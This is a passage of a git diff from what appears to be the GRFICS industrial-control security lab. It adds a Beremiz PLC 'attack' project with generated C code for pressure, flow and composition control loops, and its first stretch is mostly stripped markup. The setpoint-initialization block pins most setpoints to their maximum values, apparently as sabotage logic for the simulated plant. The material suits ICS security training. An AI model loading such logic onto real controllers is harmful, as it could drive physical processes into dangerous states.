+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + 